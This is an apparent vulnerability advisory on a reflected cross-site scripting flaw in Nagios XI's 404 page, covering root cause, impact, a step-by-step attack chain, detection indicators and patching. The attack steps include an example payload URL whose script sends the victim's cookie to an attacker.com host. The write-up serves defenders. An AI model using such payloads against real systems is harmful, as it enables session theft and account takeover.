CVE-2024-13992: 
Nagios XI vulnerability analysis and mitigation

CVE-2024-13992 is a reflected Cross-Site Scripting (XSS) vulnerability in Nagios XI affecting all versions prior to 2024R1.1. The vulnerable component, page-missing.php, fails to properly validate or escape user-supplied input when rendering the 404 "missing page" error, allowing an attacker to craft a malicious link that executes arbitrary JavaScript in a victim's browser within the Nagios XI domain. The vulnerability was published on October 31, 2025, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Red Hat Advisory, Nagios Security).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), classified as a reflected XSS pattern (CAPEC-591). The vulnerable file page-missing.php reflects user-controlled input — likely URL path or query parameters — directly into the HTML response without adequate sanitization or output encoding. An attacker must craft a malicious URL pointing to the Nagios XI 404 page and socially engineer an authenticated victim into clicking it; the victim's browser then executes the injected JavaScript within the Nagios XI origin. Exploitation requires low privileges (an authenticated user context) and passive user interaction (Nagios Security, VulnCheck Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser under the Nagios XI domain, enabling session token theft, credential harvesting, and performing unauthorized actions on behalf of the victim within the application. Because Nagios XI is a network monitoring platform with privileged access to infrastructure data, a compromised administrator session could expose sensitive host/service configurations, credentials stored in the platform, or enable further lateral movement into monitored systems. Confidentiality and integrity impacts are limited in scope (low), and there is no direct availability impact (Red Hat Advisory, Nagios Security).

As of the time of publication, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Red Hat Advisory). The EPSS score is approximately 0.55%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify a target Nagios XI instance running a version prior to 2024R1.1 that is accessible to the intended victim (e.g., via internal network or internet exposure).
2. Craft malicious URL: Construct a URL targeting the Nagios XI 404 handler (page-missing.php) with a payload injected into a URL parameter or path segment that will be reflected unsanitized, e.g., https://<nagios-xi-host>/nagiosxi/page-missing.php?<param>=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the link: Send the crafted URL to an authenticated Nagios XI user via phishing email, chat message, or embed it in a third-party website the victim is likely to visit.
4. Victim clicks the link: When the authenticated victim follows the link, their browser loads the Nagios XI 404 page, which reflects the unsanitized payload and executes the injected JavaScript within the Nagios XI domain.
5. Harvest session data: The injected script exfiltrates the victim's session cookie or performs actions (e.g., adding admin accounts, exporting configuration data) on behalf of the victim within Nagios XI (VulnCheck Advisory, Nagios Security).

• Network: Outbound HTTP requests from a victim's browser to an external attacker-controlled domain immediately after loading a Nagios XI 404 page; unusual GET/POST requests to page-missing.php with encoded JavaScript payloads in URL parameters.
• Logs: Nagios XI web server access logs showing requests to page-missing.php with URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query strings or path components.
• Browser/Proxy: Proxy or endpoint detection logs showing a user navigating to a Nagios XI 404 URL originating from an external referrer, followed by an unexpected outbound connection to an unknown host.

Nagios has released version 2024R1.1 which addresses this vulnerability; administrators should upgrade immediately (Nagios Changelog, Nagios Security). As interim mitigations, organizations should implement a strict Content Security Policy (CSP) header to limit script execution origins, enforce output encoding on all user-supplied inputs, and restrict access to the Nagios XI interface to trusted networks or VPN. Users should also be educated to avoid clicking links to Nagios XI from untrusted external sources.

The vulnerability received routine coverage from vulnerability tracking platforms and aggregators (NVD, VulDB, Vulners, CIRCL) shortly after publication on October 31, 2025. A brief mention appeared on Bluesky via automated CVE notification accounts. No notable independent researcher commentary, vendor blog posts, or significant media coverage has been identified beyond the official Nagios security advisory and VulnCheck's advisory.